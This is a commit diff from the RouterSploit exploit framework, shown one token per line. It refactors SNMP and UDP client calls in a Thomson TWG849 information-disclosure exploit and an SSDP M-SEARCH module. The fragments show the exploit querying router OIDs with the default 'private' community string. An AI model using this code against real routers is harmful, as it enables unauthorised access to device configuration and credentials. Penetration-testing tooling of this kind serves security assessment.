routersploit/modules/exploits/routers/thomson/twg849_info_disclosure.py
View file @
c351256d
...
...
@@ -48,7 +48,8 @@ class Exploit(SNMPClient):
print_status
(
"Reading parameters..."
)
for
name
in
self
.
oids
.
keys
():
snmp
=
self
.
snmp_get
(
"private"
,
self
.
oids
[
name
])
snmp_client
=
self
.
snmp_create
()
snmp
=
snmp_client
.
get
(
"private"
,
self
.
oids
[
name
])
if
snmp
:
value
=
str
(
snmp
[
0
][
1
])
...
...
@@ -63,7 +64,8 @@ class Exploit(SNMPClient):
@mute
def
check
(
self
):
snmp
=
self
.
snmp_get
(
"private"
,
"1.3.6.1.2.1.1.1.0"
)
snmp_client
=
self
.
snmp_create
()
snmp
=
snmp_client
.
get
(
"private"
,
"1.3.6.1.2.1.1.1.0"
)
if
snmp
:
return
True
# target is not vulnerable
...
...
routersploit/modules/generic/upnp/ssdp_msearch.py
View file @
c351256d
...
...
@@ -31,9 +31,9 @@ class Exploit(UDPClient):
request
=
bytes
(
request
,
"utf-8"
)
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
request
)
udp_client
.
send
(
request
)
response
=
self
.
udp_recv
(
udp_client
,
1024
)
response
=
udp_client
.
recv
(
1024
)
if
response
:
response
=
str
(
response
,
"utf-8"
)
...
...
@@ -55,4 +55,4 @@ class Exploit(UDPClient):
else
:
print_error
(
"Target did not respond to M-SEARCH request"
)
self
.
udp_close
(
udp_client
)
udp_client
.
close
(
)
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment